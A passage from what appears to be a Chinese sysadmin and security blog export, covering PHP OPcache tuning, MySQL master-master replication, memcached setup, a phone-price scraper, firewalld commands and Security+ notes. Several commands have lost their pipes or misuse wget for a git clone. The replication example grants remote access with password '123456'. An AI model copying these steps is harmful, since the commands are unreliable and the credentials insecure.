8,建议根据服务器内存大小,设置一个大于 64 的值即可. PHP 使用了一种叫做字符串驻留(string interning)的技术来改善性能.例如,如果你在代码中使用了 1000 次字符串 foobar,Zend 引擎在第一次使用这个字符串时会分配一个不可变的内存区域来存储这个字符串,之后的 999 次都会直接引用这个内存区域,而不需要重复创建. 1opcache.max_accelerated_files=3000 Zend 引擎在第一次执行某 PHP 文件后,会将该文件的 OPcode 存储在哈希表中,之后的请求直接从哈希表中找到相应文件的 OPcode,从而达到性能优化,而此配置选项决定了可以存储的 PHP 文件数量上限. Zend 引擎对此配置参数的真实取值是在质数集合 { 223, 463, 983, 1979, 3907, 7963, 16229, 32531, 65407, 130987 } 中找到的第一个大于等于参数值的质数,例如设置此参数的值为 222,则真实取值为 223. 那么如何知道我们应用中的 PHP 文件数量呢?进入应用目录,一般这里指的是进入我们WordPress的站点根目录,使用如下命令即可查看应用中的 PHP 文件数量: 123[root@VM-8-7-centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# cd /root/jiangjiyue/wordpress-1258894728.cos.ap-beijing.myqcloud.com/ [root@VM-8-7-centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# find . -type f -print grep php wc -l 1292 PHP 文件数量为 1292,所以我将该参数的值设置为 3000. 1opcache.validate_timestamps=0 如果此参数的值设置为 1,那么 Zend 引擎在收到请求时,会每隔一段时间检测一次被请求的 PHP 文件是否已更新.如果文件已更新,就会重新对该文件进行语法分析、编译等步骤,生成新的 Opcode. 检测的周期是根据另一个参数 opcache.revalidate_freq 而定的,每次检测都是一次 stat 系统调用,众所周知,系统调用会消耗一些 CPU 时间,并且 stat 系统调用会进行磁盘 I/O,更加浪费性能. 不仅如此,假设你对服务器中的 PHP 文件进行了一次大量的更新,更新的过程中部分旧的文件会因为未过期而依然生效,和部分已生效的新文件混合在一起产生作用,必然会产生不确定因素,带来很多麻烦,所以建议将此参数的值设置为 0 . 不过需要注意的是,设置为 0 后,无论你怎么更新文件,Zend 引擎都会使用已缓存的 Opcode,除非重启 php-fpm 或使用 opcache_reset() 方法清空缓存,当然下面我也会提供Opcache-gui(通过Web界面管理,可以重置缓存) 1opcache.save_comments=1 如果禁用,脚本文件中的注释内容将不会被包含到操作码缓存文件, 这样可以有效减小优化后的文件体积. 禁用此配置指令可能会导致一些依赖注释或注解的 应用或框架无法正常工作, 比如: Doctrine, Zend Framework 2 以及 PHPUnit.所以这里启用 1opcache.file_update_protection=0 当 Zend 引擎执行某 PHP 文件时,如果该文件的 Modify 时间戳 距当前时间的差值小于此参数的值,则该文件不会被缓存,此参数值的单位为秒,默认为 2. 此参数的目的是为了防止文件还未修改完成就被 Opcache 缓存了,从而产生错误.而实际生产环境中,我们将 opcache.validate_timestamps 设置为 0,文件只要被访问一次,就会被永久缓存,除非重启 php-fpm 才会刷新缓存,所以此参数没什么用,还浪费性能,建议设置为 0. 1opcache.huge_code_pages=1 众所周知,Linux 系统默认内存是以 4KB 进行分页的,而虚拟地址和内存地址是需要转换的,转换过程需要进行查表,CPU 为了加速查表会内建 TLB(Translation Lookaside Buffer),而 TLB 的大小是有限的,分页越小,表里的条目也就越多,TLB 的 Cache Miss 也就越高. 所以我们如果启用大内存页,就能间接降低 TLB 的 Cache Miss,而 Opcache 也能使用 Hugepage 来缓存 Opcodes,从而达到性能优化的目的. 此参数值为 1 即可开启以上功能,默认值为 0. 设置完后还没正式开启,需要系统开启 Hugepage 功能,使用如下命令可以查看当前系统 Hugepage 的信息: 123456[root@centos wordpress-1258894728.cos.ap-beijing.myqcloud.com]# cat /proc/meminfo grep Huge AnonHugePages: 133120 kB HugePages_Total: 0 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB 可以看到 HugePages_Total 等参数的值为 0,也就是未开启 HugePages 功能. 运行如下命令即可开启 HugePages,其中 128 代表 HugePages 的大小,单位是 MB: 1sysctl vm.nr_hugepages=128 建议根据服务器内存情况进行分配 HugePages,例如服务器是 2G,设置为 128,可以自行参考进行设置 最终配置 Opcache-gui这里使用的gui界面是amnuts分享的 123456# 进入opt目录cd /opt# 安装gityum install -y git# 克隆项目到本地wget https://github.com/amnuts/opcache-gui.git 然后将项目中的index.php移到您的 Web 服务器可以加载的位置.然后将浏览器指向该位置,例如https://wordpress-1258894728.cos.ap-beijing.myqcloud.com/Opcache-gui-zn.php一定要重启PHP-FPM服务如图: 我将此文件进行了大概的汉化 https://raw.githubusercontent.com/JiangJiYue/yunwei/main/Opcache-gui-zn.phphttps://raw.githubusercontent.com/JiangJiYue/yunwei/main/Opcache-gui-zn.php","tags":["优化","运维","Linux","PHP","缓存"],"categories":["安全运维"]},{"title":"Linux-Mysql主主架构","path":"/2021/09/07/fc81f96/","content":"总字符数: 2.45K 代码: 1.20K, 文本: 0.48K 预计阅读时间: 7 分钟 我的测试环境是mysql+ Mariadb数据库,我这里拿2台服务器来做测试 提示:两台服务器的数据库版本要相同 修改配置文件(默认是my.cnf) 注意:下面所提到的参数全部都是在[mysqld]节点下添加 像主从同步一样,在这个文件的[mysqld]节点下添加参数,两台服务器都要添加,注意server-id不要相同 12345#A服务器 server-id=1 log-bin=mysql-bin auto_increment_offset = 1#表示该数据库的自增ID从1开始 auto_increment_increment = 2#设置为服务器的总数量,比如我们这里用2台服务器做测试,那么就设置为2.这里设置为2,表示的是每次自增时增长2,即该台数据库的自增ID的顺序为:1,3,4,7,9...... log-slave-updates = true 123456#B服务器 server-id=2 log-bin=mysql-bin auto_increment_offset = 2#表示该数据库的自增ID从1开始 auto_increment_increment = 2#设置为服务器的总数量,比如我们这里用2台服务器做测试,那么就设置为2.这里设置为2,表示的是每次自增时增长2,即该台数据库的自增ID的顺序为:1,3,4,7,9...... log-slave-updates = true 修改后的配置文件如下图: 接下来就简单了,跟主从同步的操作基本上一致了,首先是添加用来同步用的账号密码.在A、B两台服务器上添加相同的账号密码 123mysql -uroot -p123456 grant replicatiON slave on *.* to repl@'%' identified by '123456'; exit 添加完毕账号后,重启数据库服务systemctl restart mysqld 重启完毕后,重新登录两台服务器的数据库,查看日志文件的信息并记录File和Position信息 12mysql -uroot -p123456 show master status; 因为测试两个服务器都是全新安装的数据库,所以这些信息都是一样的.接下来在配置同步服务,首先在A服务器配置 1234#A服务器 change master to master_host='B服务器的IP',master_port=3306,master_user='B服务器的数据库账号repl',master_password='B服务器的数据库密码123456',master_log_file='mysql-bin.000001',master_log_pos=313; log_file就是主服务器File的值,这里要填写B服务器查询出来的值 master_log_pos就是主服务器Position的值,这里要填写B服务器查询出来的值 1234--B服务器change master to master_host='A服务器的IP',master_port=3306,master_user='A服务器的数据库账号repl',master_password='A服务器的数据库密码123456',master_log_file='mysql-bin.000001',master_log_pos=313;-- log_file就是主服务器File的值,这里要填写A服务器查询出来的值-- master_log_pos就是主服务器Position的值,这里要填写A服务器查询出来的值 然后在A、B服务器上执行start slave;开启同步在执行show slave status\\G;查看同步状态 当看到以下两个参数是YES就说明配置已经生效 12Slave_IO_Running: YesSlave_SQL_Running: Yes 剩下的自己可以创建个数据库测试一下","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-编译安装Memcached扩展","path":"/2021/09/04/b7ac11f8/","content":"总字符数: 1.79K 代码: 1.06K, 文本: 0.35K 预计阅读时间: 6 分钟 安装libmemcached扩展12345wget https://launchpad.net/libmemcached/1.0/1.0.18/+download/libmemcached-1.0.18.tar.gztar -xvzf libmemcached-1.0.18.tar.gzcd libmemcached-1.0.18./configure --with-memcached --disable-memcached-saslmake && make install 安装memcached扩展123wget http://pecl.php.net/get/memcached-3.1.3.tgztar -zxvf memcached-3.1.3.tgzcd memcached-3.1.3 首先使用phpize生成文件 如果php加了环境变量一般直接执行phpize就行了 如果找不到phpize使用查找命令find / -name phpize 搜索到文件,我的在/usr/local/bin/phpize目录,然后执行 1/usr/local/bin/phpize 不知道php-config在哪个目录 使用find方法 1find / -name php-config 这里需要将刚才安装的libmemcached的目录关联 1find / -name libmemcached 开始安装 12./configure --with-php-config=/usr/bin/php-config --with-libmemcached-dir=/usr/local --disable-memcached-saslmake && make install 提示Installing shared extensions: /usr/lib64/php/modules/安装成功 在php.ini中添加 12[memcached]extension=memcached.so 查看php.ini位置 1php -igrep php.ini 执行php -m查看扩展是否成功安装 安装 MemcachedLinux系统安装memcached,首先要先安装libevent库. 1yum install libevent libevent-devel 安装 Memcached1yum install memcached Memcached 运行 Memcached命令的运行: 作为前台运行: 1memcached -p 11211 -m 64m -vv 作为后台服务运行: 1memcached -d -m 64M -u root -l 127.0.0.1 -p 11211 -c 256 -P /tmp/memcached.pid 启动选项: -d是启动一个守护进程; -m是分配给Memcache使用的内存数量,单位是MB; -u是运行Memcache的用户; -l是监听的服务器IP地址,可以有多个地址; -p是设置Memcache监听的端口,,最好是1024以上的端口; -c是最大运行的并发连接数,默认是1024; -P是设置保存Memcache的pid文件. 查找允许 memcached 的进程 id: 123ps -efgrep memcachedroot 9662 1 0 10:13 ? 00:00:00 /usr/bin/memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pidroot 10155 8703 0 10:14 pts/0 00:00:00 grep memcached 测试 使用telnet命令测试能否连接成功 1telnet 127.0.0.1 11211 出现以上内容代表成功","tags":["优化","运维","Linux","PHP","缓存"],"categories":["安全运维"]},{"title":"Python-爬取中关村手机排行榜并对其可视化","path":"/2021/09/03/468ad79b/","content":"总字符数: 1.96K 代码: 1.74K, 文本: 0.07K 预计阅读时间: 8 分钟 导入模块1234567import requests import re import numpy as np import matplotlib import matplotlib.pyplot as plt from lxml import html etree = html.etree 网站分析中关村并没有用动态数据加载这里就直接爬取好了 12345678910111213141516171819202122232425def get_articles_list(): title_list = [] price_list = [] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36' } url = 'http://top.zol.com.cn/compositor/57/cell_phone.html' page = requests.get(url, headers=headers).text page_text = etree.HTML(page) li_list = page_text.xpath( '//div[@class="rank-list"]/div')#分析出包含手机名称以及价格的子div for li in li_list: title = li.xpath('./div[3]/div[1]/a/text()')#分析出手机名称 price = li.xpath('./div[4]/div/text()')#手机价格 for t, p in zip(title, price):#循环遍历出手机价格的字符串 t = re.sub(r"[\\uFF08-\\uFF09].*[\\uFF08-\\uFF09]", "", t)#利用正则表达式将手机名称中全角括号包括括号中的内容去掉 if p != '概念产品':#如果手机价格不等于概念产品就将其添加到list中 title_list.append(t) p = p[1:len(p)]#截取去掉原本带着的¥符号 price_list.append(int(p)) else:#等于概念产品就将价格改为99999方便后期做柱状图 p = 99999999 title_list.append(t) price_list.append(p) return title_list, price_list 利用matplotlib将数据生成柱状图123456789101112if __name__ == "__main__": title_list, price_list = get_articles_list() # 设置matplotlib正常显示中文和负号 matplotlib.rcParams['font.sans-serif'] = ['SimHei'] # 用黑体显示中文 matplotlib.rcParams['axes.unicode_minus'] = False # 正常显示负号 get_articles_list()#运行get_articles_list函数 plt.ylabel('价格')#y轴标题 plt.xlabel("品牌")#x轴标题 x = np.array(title_list[0:8])#选取前8个对其可视化 y = np.array(price_list[0:8])#选取前8个对其可视化 plt.bar(x, y)#设置x,y轴 plt.show()#显示图形 效果图","tags":["编程语言","Python","爬虫"],"categories":["编程语言","Python","爬虫"]},{"title":"Linux-FireWalld","path":"/2021/09/01/46f9142e/","content":"总字符数: 7.99K 代码: 6.98K, 文本: 0.83K 预计阅读时间: 34 分钟 FireWall-Cmd Linux上新用的防火墙软件,跟iptables差不多的工具 补充说明firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的”zone”概念. firewalld跟iptables比起来至少有两大好处: firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效. firewalld在使用上要比iptables人性化很多,即使不明白”五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能. firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了. 命令格式 1firewall-cmd [选项 ... ] 选项通用选项123-h, --help # 显示帮助信息;-V, --version # 显示版本信息. (这个选项不能与其他选项组合);-q, --quiet # 不打印状态消息; 状态选项12345--state # 显示firewalld的状态;--reload # 不中断服务的重新加载;--complete-reload # 中断所有连接的重新加载;--runtime-to-permanent # 将当前防火墙的规则永久保存;--check-config # 检查配置正确性; 日志选项12--get-log-denied # 获取记录被拒绝的日志;--set-log-denied=<value> # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个; 实例安装firewalld12345678910111213141516yum install firewalld firewall-configsystemctl start firewalld # 启动systemctl stop firewalld # 停止systemctl enable firewalld # 启用自动启动systemctl disable firewalld # 禁用自动启动systemctl status firewalld # 或者 firewall-cmd --state 查看状态# 关闭服务的方法# 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下:systemctl stop firewalldsystemctl disable firewalldyum install iptables-servicessystemctl start iptablessystemctl enable iptables 配置firewalld1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556firewall-cmd --version # 查看版本firewall-cmd --help # 查看帮助# 查看设置:firewall-cmd --state # 显示状态firewall-cmd --get-active-zones # 查看区域信息firewall-cmd --get-zone-of-interface=eth0 # 查看指定接口所属区域firewall-cmd --panic-on # 拒绝所有包firewall-cmd --panic-off # 取消拒绝状态firewall-cmd --query-panic # 查看是否拒绝firewall-cmd --reload # 更新防火墙规则firewall-cmd --complete-reload# 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务# 将接口添加到区域,默认接口都在publicfirewall-cmd --zone=public --add-interface=eth0# 永久生效再加上 --permanent 然后reload防火墙 # 设置默认接口区域,立即生效无需重启firewall-cmd --set-default-zone=public# 查看所有打开的端口:firewall-cmd --zone=dmz --list-ports# 加入一个端口到区域:firewall-cmd --zone=dmz --add-port=8080/tcp# 若要永久生效方法同上 # 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档firewall-cmd --zone=work --add-service=smtp # 移除服务firewall-cmd --zone=work --remove-service=smtp# 显示支持的区域列表firewall-cmd --get-zones# 设置为家庭区域firewall-cmd --set-default-zone=home# 查看当前区域firewall-cmd --get-active-zones# 设置当前区域的接口firewall-cmd --get-zone-of-interface=enp03s# 显示所有公共区域(public)firewall-cmd --zone=public --list-all# 临时修改网络接口(enp0s3)为内部区域(internal)firewall-cmd --zone=internal --change-interface=enp03s# 永久修改网络接口enp03s为内部区域(internal)firewall-cmd --permanent --zone=internal --change-interface=enp03s 服务管理1234567891011121314151617181920212223# 显示服务列表 Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看:firewall-cmd --get-services# 允许SSH服务通过firewall-cmd --new-service=ssh# 禁止SSH服务通过firewall-cmd --delete-service=ssh# 打开TCP的8080端口firewall-cmd --enable ports=8080/tcp# 临时允许Samba服务通过600秒firewall-cmd --enable service=samba --timeout=600# 显示当前服务firewall-cmd --list-services# 添加HTTP服务到内部区域(internal)firewall-cmd --permanent --zone=internal --add-service=httpfirewall-cmd --reload # 在不改变状态的条件下重新加载防火墙 端口管理123456789101112# 打开443/TCP端口firewall-cmd --add-port=443/tcp# 永久打开3690/TCP端口firewall-cmd --permanent --add-port=3690/tcp# 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了# 其它服务也可能是这样的,这个没有测试firewall-cmd --reload# 查看防火墙,添加的端口也可以看到firewall-cmd --list-all 直接模式1234# FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPTfirewall-cmd --reload 自定义服务管理选项12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273(末尾带有 [P only] 的话表示该选项除了与(--permanent)之外,不能与其他选项一同使用!)--new-service=<服务名> 新建一个自定义服务 [P only]--new-service-from-file=<文件名> [--name=<服务名>] 从文件中读取配置用以新建一个自定义服务 [P only]--delete-service=<服务名> 删除一个已存在的服务 [P only]--load-service-defaults=<服务名> Load icmptype default settings [P only]--info-service=<服务名> 显示该服务的相关信息--path-service=<服务名> 显示该服务的文件的相关路径 [P only]--service=<服务名> --set-description=<描述> 给该服务设置描述信息 [P only]--service=<服务名> --get-description 显示该服务的描述信息 [P only]--service=<服务名> --set-short=<描述> 给该服务设置一个简短的描述 [P only]--service=<服务名> --get-short 显示该服务的简短描述 [P only] --service=<服务名> --add-port=<端口号>[-<端口号>]/<protocol> 给该服务添加一个新的端口(端口段) [P only] --service=<服务名> --remove-port=<端口号>[-<端口号>]/<protocol> 从该服务上移除一个端口(端口段) [P only] --service=<服务名> --query-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个端口(端口段) [P only] --service=<服务名> --get-ports 显示该服务添加的所有端口 [P only] --service=<服务名> --add-protocol=<protocol> 为该服务添加一个协议 [P only] --service=<服务名> --remove-protocol=<protocol> 从该服务上移除一个协议 [P only] --service=<服务名> --query-protocol=<protocol> 查询该服务是否添加了某个协议 [P only] --service=<服务名> --get-protocols 显示该服务添加的所有协议 [P only] --service=<服务名> --add-source-port=<端口号>[-<端口号>]/<protocol> 添加新的源端口(端口段)到该服务 [P only] --service=<服务名> --remove-source-port=<端口号>[-<端口号>]/<protocol> 从该服务中删除源端口(端口段) [P only] --service=<服务名> --query-source-port=<端口号>[-<端口号>]/<protocol> 查询该服务是否添加了某个源端口(端口段) [P only] --service=<服务名> --get-source-ports 显示该服务所有源端口 [P only] --service=<服务名> --add-module=<module> 为该服务添加一个模块 [P only]--service=<服务名> --remove-module=<module> 为该服务移除一个模块 [P only]--service=<服务名> --query-module=<module> 查询该服务是否添加了某个模块 [P only]--service=<服务名> --get-modules 显示该服务添加的所有模块 [P only]--service=<服务名> --set-destination=<ipv>:<address>[/<mask>] Set destination for ipv to address in service [P only]--service=<服务名> --remove-destination=<ipv> Disable destination for ipv i service [P only]--service=<服务名> --query-destination=<ipv>:<address>[/<mask>] Return whether destination ipv is set for service [P only]--service=<服务名> --get-destinations List destinations in service [P only] 控制端口 / 服务可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名.虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭.还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp.知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效. 1234567firewall-cmd --add-service=mysql # 开放mysql端口firewall-cmd --remove-service=http # 阻止http端口firewall-cmd --list-services # 查看开放的服务firewall-cmd --add-port=3306/tcp # 开放通过tcp访问3306firewall-cmd --remove-port=80tcp # 阻止通过tcp访问3306firewall-cmd --add-port=233/udp # 开放通过udp访问233firewall-cmd --list-ports # 查看开放的端口 伪装 IP123firewall-cmd --query-masquerade # 检查是否允许伪装IPfirewall-cmd --add-masquerade # 允许防火墙伪装IPfirewall-cmd --remove-masquerade# 禁止防火墙伪装IP 端口转发端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口.转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口. 如果配置好端口转发之后不能用,可以检查下面两个问题: 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP 123firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器.","tags":["Centos","运维","防火墙"],"categories":["安全运维","Linux"]},{"title":"五. 风险分析","path":"/2021/06/02/9349e687/","content":"总字符数: 2.22K 代码: 无, 文本: 1.51K 预计阅读时间: 7 分钟 分析组织的风险 分析组织的风险 分析风险造成的业务影响 风险管理确定风险,分析风险,制定应对风险的响应策略,并缓解其带来的未来影响的过程 帮助防止或减小安全事件的影响 四个阶段 评估 分析 响应 缓解 风险分析的组成 确定威胁可能会利用的漏洞 确定损害发生的可能性 确定潜在损害的影响范围 风险分析的阶段风险分析:用于评估可能对组织造成造成影响的风险损害的过程 资产确定 漏洞确定 威胁评估 可能性量化 影响分析 应对措施的确定 威胁类型的分类 自然 与天气或其余自然活动造成的其他不可控事件有关 人为 由个人或集体的人为活动造成的其余事件.可能的有意或无意引起的 系统 与网络,服务,应用程序或设备中发现的任何缺陷或漏洞有关 风险分析的方式 定性 使用描述和文字来衡量风险的程度和影响,如高中低 通常基于场景 可能较为主观并且难以测试依据人的经验,主观划分,没有明确的定义 定量 仅基于数值更加客观,更加科学 将风险数据与历史记录,经验,行业最佳实践,统计理论和测试进行对比但是计算起来比较难,更复杂一些 半定量以上两种方法的结合体 使用描述和数值 尝试在定量和定性风险之间找到中间地带 风险计算(评估可接受范围) SLE:单一不良事件带来的预期财产损失 ALE:一项风险对组织造成的总体年度损失 ARO:特定损失预计每年发生的次数 ALE=SLE*ARO 风险计算计算的结果同时取决于损失带来的成本和缓解措施带来的成本 漏洞表能帮助记录风险计算因素 处理风险的方式 接受 承认并接受风险及带来的后果 接受并不代表让系统完全地暴露在漏洞之下 接受意识涉及到的风险不能完全避免,或是缓解或避免的成本过高 转移 将风险的责任分配给其他机构,或第三方如:保险公司 避免 通过消除风险的来源彻底消除风险 降低风险 采取行动保护免受可能的威胁 当潜在风险存在重大影响时进行实施 主动防御(IDS)或警示措施(备份处于风险中的数据) 风险缓解和控制类型 技术控制(Technical control) 应用软硬件装置监控和防止计算机系统于服务中的威胁和攻击 管理控制(Management control) 应用相应流程监控组织安全策略的服从情况 操作控制(Operational control)又称物理控制 用于保护日常业务操作,功能和活动所有方面的安全措施 损失/损害控制(Loss/damage control) 用户保护关键资产不受侵害的安全措施 变更管理一种批准并执行变更的系统性方法,以便确保信息技术服务达到最佳的安全性,稳定性和可用性 一般会优先在测试环境测试一遍,一旦变更就可能会引入新的风险,不变更就不会引入新的风险 如果变更失败,先斩后奏,先恢复业务并撰写恢复步骤 硬件,软件基础设施和文档记录中的变更可能会有损组织安全性的水平 量化培训,支持,维护和实施的成本 分析每次变更的益处和复杂性 分析 变更的需求 变更的类型 组织文化 计划 变更角色 变更职责 解决阻力 实施 管理过渡阶段 确定采用变更 执行项目之后的审核 新的服务数据包为生产服务器修复了几个安全漏洞 服务器托管了一个自定义应用程序,该应用必须要保持可用 变更管理策略要求对所有服务器数据包进行正式批准 新的服务包在进行部署之前,必须在实验服务器中进行测试 测试结果显示,该服务器数据包会使自定义应用程序出现崩溃 在服务包被部署到生产服务器之前,改自定义应用程序必须进行修正和重新测试 分析风险的准则 清晰地定义组织对安全性的期望 确定需要进行保护的资产,并确定它们的价值 寻找可能存在的漏洞,如果这些漏洞被利用,可能对组织产生的副作用 确定资产的潜在威胁 确定威胁利用漏洞的可能性 确定威胁的影响 确定最适合的风险分析方式 确定可能的应对措施 清晰地记录所有发现和所做决策","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"六. 执行业务影响分析","path":"/2021/06/02/71a5afb3/","content":"总字符数: 1.28K 代码: 无, 文本: 0.74K 预计阅读时间: 3 分钟 BIA 一种系统性活动,用于确定组织风险及其对持续的,任务关键型的业务与流程产生的影响 漏洞评估和评测 确定风险及其影响 覆盖业务的所有阶段 可以是业务连续性计划(BCP)中的一部分 BIA包括: 可承受停机时间的预估 财物损失的影响 需要恢复的资源 效率降低的可能性 关键流程的优先级 影响的场景 影响 描述 生命 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击 财产 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 强行闯入6. 设备损坏 安全 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 过多员工生病或感染流行病 财务 自然灾害和故意的人为威胁:1. 极端气象事件2. 地震事件3. 纵火或其他火灾4. 恐怖袭击5. 强行闯入6. 盗窃7. 设备损坏8. 文件损毁9. 故意或意外的信息泄露10. 用户错误11. 社交网络和云计算12. 过多员工生病或感染流行病13. 不安全的移动和联网设备14. 不稳定的虚拟环境15. 电子邮件和账户管理漏洞 名誉 人为风险和系统风险:1. 恢复中断服务或受损文件的响应时间2. 频繁的信息泄露3. 对重复发生的问题的认知4. 对敏感程度的认知组织对风险的响应:1. 自然灾害过程中的物价哄抬2. 处理信息泄露的响应时间 隐私评估 隐私影响评估(Privacy impact assessment(PIA)):在程序或系统生命周期过程中用于确定并分析风险的一种工具 隐私阈值评估(Privacy threshold assessment(PtA)):用于确定何时需要进行PIA的一种文档 个人可识别信息(Personally identifiable information(PII)):公司用来确定身份或联系员工及其他人的信息 需要在线收集PII的任何美国机构都需要进行 不同的组织的其他规章制度可能也会对此有所要求","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"四. 基本的加密概念","path":"/2021/05/31/e97492f3/","content":"总字符数: 2.10K 代码: 无, 文本: 1.02K 预计阅读时间: 4 分钟 密码学一种隐藏信息的科学,最常用的方式就是对用于发送消息的秘密代码进行编码和解码 基于数学和计算机科学 保护传输中和静止中的数据 加密和解密加密:数据从明文形式转化为编码或密文形式的一种安全技术、以便只有拥有必要解密信息的授权方才能解码并读取数据明文:在传输数据之间打算进行加密的未加密数据,或指被加密数据的加密结果密文:经过编码,不可阅读的数据解密:将密文转化回明文的密码技术明文:未打算进行加密的未加密可读取数据 只有拥有解密信息的授权方才能读取被加密文件 单向加密表示不能进行解密 双向加密表示可以进行解密 加密和安全目标 机密性 完整性 不可否认性 认证 访问控制 编码编码:一种用于加密或解密数据的算法译成密码:将明文转换成密文的过程破译密码:将密文转换成明文的过程 编码:通过修改每个字母或字节来打乱消息 代码:修改词或词组,或仿照一种秘密语言 破解代码和编码的学科叫做密码分析 密钥与算法一起使用来执行加解密的特定信息段 不同的密钥产生不同的密文 对每种算法来说,较长的密钥提供了较强的加密 静态密钥和暂时密钥 对称加密一种双向加密,其中加解密都使用相同的密钥(共享密钥加密) 硬件密钥和软件密钥 在加密通讯开始之前,密钥必须进行安全的共享 快速,但如果密钥丢失或被破解,就会变得不堪一击 常见的替换名称 保密密钥 共享密钥 私钥 非对称加密 非对称加密:使用成对的公钥和私钥的一种双向加密机制 私钥:非对称加密的组成部分,在双向加密的过程中由一方保密 公钥:非对称加密的组成部分,可被任何人访问 密钥生成:使用特定应用程序产生一个公钥和私钥对的过程 散列散列算法:将明文转换为无法直接解密的密文的过程或函数散列,散列值、消息摘要:从散列加密中产生的值 在几种密码认证机制中使用 在数字签名中使用 用于验证文件完整性 信息隐藏一种可选的加密技巧,通过将秘密消息封装入一条普通信息中进行隐藏 隐藏内容及其存在性 信息被嵌入到文本或图像中","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"三. 基本的认证和授权概念","path":"/2021/05/30/5a8f5c38/","content":"总字符数: 0.73K 代码: 无, 文本: 0.60K 预计阅读时间: 3 分钟 密码 结合使用用户名和密码可能是使用最广泛的认证机制 凭证与存储在数据库中的凭证进行比对 不必保证提供凭证的是正确用户 凭证在传输过程中未经加密时,可能容易遭遇攻击者的攻击 口令 存储了认证信息的物理或虚拟对象.常见的有:智能卡,ID徽章和数据包 可以存储PIN,用户信息和密码 通过响应认证服务器质询生存口令值 生物识别 根据个人的物理特征来确定个人身份的一种认证机制 指纹扫描仪 视网膜扫描仪 手形扫描仪 声音识别软件 面部识别软件 地理定位 确定对象地理位置的过程 将街道地址与以下信息相关联: ID地址 WIFI定位系统 GPS坐标 来自被允许位置上的请求会被授予认证 击键认证 在计算机或其他电子设备中键入信息时,根据按键被按压和释放时精确且详细的信息进行验证的认证类型 使用你个人打字时的倾向 记录并存储你的打字行为用于比较 使用击键记录器或收集其他测量指标生成对每个用户具有唯一性的击键模式 多因素验证 需要验证两种或多种不同认证因素的认证机制 银行信用卡:卡(口令)和PIN(密码) 如果你不需要输入PIN,那么这些芯片卡就不属于多因素 电子邮件或其他应用程序的认证应用程序 登录电子邮件或其他应用程序时,键入来自短消息的验证码 务必使用不同的因素 相互认证 需要通讯中的每一方之间相互验证身份的一种安全机制 服务或资源验证客户端的凭证,客户端验证服务或资源的凭证 防止客户端将机密信息发送到不安全的服务器上 帮助避免中间人攻击","tags":["信息安全","Security+","安全管理","蓝队"]},{"title":"二. 基本的安全控制","path":"/2021/05/29/48d580ab/","content":"总字符数: 1.40K 代码: 无, 文本: 1.13K 预计阅读时间: 5 分钟 确定基本的安全控制控制 为避免,缓解或抵消由威胁或攻击引起的安全风险而必须部署的应对对策 满足信息安全目标的解决方案和行动 逻辑的或物理的保护措施和应对手段 方法 预防控制(Prevention control) 帮助预防因漏洞暴露而遭受到的威胁或攻击 检测控制(Detection control) 帮助你发现威胁或漏洞是否已经进入计算机系统 校正控制(Correction control) 